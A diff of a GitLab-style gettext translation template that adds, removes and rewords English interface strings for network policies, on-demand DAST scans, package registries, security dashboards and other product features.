msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -15886,9 +16388,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -15901,9 +16409,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -16296,12 +16849,18 @@ msgstr ""
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16389,18 +16948,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -16548,9 +17101,6 @@ msgstr ""
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16590,9 +17140,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr ""
@@ -16635,21 +17182,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16659,25 +17212,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
+msgstr ""
+
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16736,9 +17295,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr ""
-
msgid "Only admins can delete project"
msgstr ""
@@ -16757,6 +17313,9 @@ msgstr ""
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -16772,9 +17331,15 @@ msgstr ""
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr ""
@@ -16895,18 +17460,12 @@ msgstr ""
msgid "Outbound requests"
msgstr ""
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -16940,9 +17499,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr ""
-
msgid "Package recipe already exists"
msgstr ""
@@ -17027,6 +17583,12 @@ msgstr ""
msgid "PackageRegistry|Copy npm setup command"
msgstr ""
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -17042,6 +17604,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -17060,9 +17625,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -17099,27 +17661,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17168,13 +17721,19 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17318,7 +17877,7 @@ msgstr ""
msgid "Password successfully changed"
msgstr ""
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -17822,6 +18381,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -17975,13 +18537,13 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
+msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgid "Preferences|Customize integrations with third party services."
msgstr ""
-msgid "Preferences|Default dashboard"
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
@@ -17993,6 +18555,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr ""
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18284,15 +18849,9 @@ msgstr ""
msgid "Profiles|Default notification email"
msgstr ""
-msgid "Profiles|Delete Account"
-msgstr ""
-
msgid "Profiles|Delete account"
msgstr ""
-msgid "Profiles|Delete your account?"
-msgstr ""
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr ""
@@ -18683,6 +19242,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr ""
@@ -18707,6 +19269,9 @@ msgstr ""
msgid "ProjectFileTree|Name"
msgstr ""
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr ""
@@ -19298,7 +19863,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr ""
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19307,10 +19872,19 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr ""
-msgid "PrometheusService|%{exporters} with %{metrics} were found"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
msgstr ""
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
+msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr ""
msgid "PrometheusService|Active"
@@ -19370,6 +19944,9 @@ msgstr ""
msgid "PrometheusService|New metric"
msgstr ""
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19424,6 +20001,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19505,6 +20085,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr ""
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -19835,9 +20418,6 @@ msgstr ""
msgid "Recent searches"
msgstr ""
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -19933,6 +20513,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -20025,6 +20608,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -20067,6 +20653,9 @@ msgstr ""
msgid "Remove all or specific label(s)"
msgstr ""
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr ""
@@ -20136,9 +20725,6 @@ msgstr ""
msgid "Remove priority"
msgstr ""
-msgid "Remove project"
-msgstr ""
-
msgid "Remove secondary node"
msgstr ""
@@ -20172,9 +20758,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr ""
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20187,12 +20770,6 @@ msgstr ""
msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr ""
-
msgid "Removed spent time."
msgstr ""
@@ -20241,15 +20818,9 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr ""
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20432,9 +21003,6 @@ msgstr ""
msgid "Repository Settings"
msgstr ""
-msgid "Repository URL"
-msgstr ""
-
msgid "Repository check"
msgstr ""
@@ -20622,9 +21190,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr ""
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -20804,6 +21378,9 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -20816,6 +21393,9 @@ msgstr ""
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -20942,6 +21522,9 @@ msgstr ""
msgid "Save Changes"
msgstr ""
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr ""
@@ -20972,6 +21555,9 @@ msgstr ""
msgid "Save variables"
msgstr ""
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -21020,6 +21606,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr ""
@@ -21062,6 +21651,9 @@ msgstr ""
msgid "Search branches and tags"
msgstr ""
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21259,6 +21851,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr ""
@@ -21286,13 +21881,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21313,6 +21932,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21340,7 +21962,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21376,13 +21998,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
-msgstr ""
-
-msgid "SecurityReports|Edit dashboard"
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21397,19 +22016,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21421,6 +22034,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21439,13 +22055,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21517,7 +22133,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21526,6 +22142,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21556,9 +22175,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr ""
@@ -21682,6 +22298,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr ""
@@ -21712,6 +22331,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr ""
@@ -21901,6 +22523,12 @@ msgstr ""
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr ""
@@ -21913,6 +22541,12 @@ msgstr ""
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr ""
@@ -22229,19 +22863,19 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
+msgid "Showing all issues"
msgstr ""
-msgid "Showing Version #%{versionNumber}"
+msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
-msgid "Showing all issues"
+msgid "Showing last %{size} of log -"
msgstr ""
-msgid "Showing graphs based on events of the last %{timerange} days."
+msgid "Showing latest version"
msgstr ""
-msgid "Showing last %{size} of log -"
+msgid "Showing version #%{versionNumber}"
msgstr ""
msgid "Side-by-side"
@@ -22337,6 +22971,9 @@ msgstr ""
msgid "Similar issues"
msgstr ""
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22379,7 +23016,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22430,12 +23067,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr ""
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22493,6 +23139,9 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr ""
@@ -22622,10 +23271,10 @@ msgstr ""
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
+msgid "Something went wrong, unable to get projects"
msgstr ""
msgid "Something went wrong, unable to search projects"
@@ -23522,6 +24171,9 @@ msgstr ""
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr ""
@@ -23570,6 +24222,9 @@ msgstr ""
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -23582,6 +24237,9 @@ msgstr ""
msgid "Tags"
msgstr ""
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr ""
@@ -23763,6 +24421,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr ""
@@ -23831,9 +24495,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -23870,15 +24531,12 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
msgstr[1] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
@@ -23905,6 +24563,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
@@ -23935,6 +24596,9 @@ msgstr ""
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -23989,6 +24653,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr ""
@@ -24090,13 +24760,13 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -24135,6 +24805,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr ""
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24252,6 +24925,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24327,12 +25003,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr ""
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24345,6 +25024,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24495,19 +25177,19 @@ msgstr ""
msgid "There was an error when unsubscribing from this label."
msgstr ""
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24531,6 +25213,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24561,7 +25246,7 @@ msgstr ""
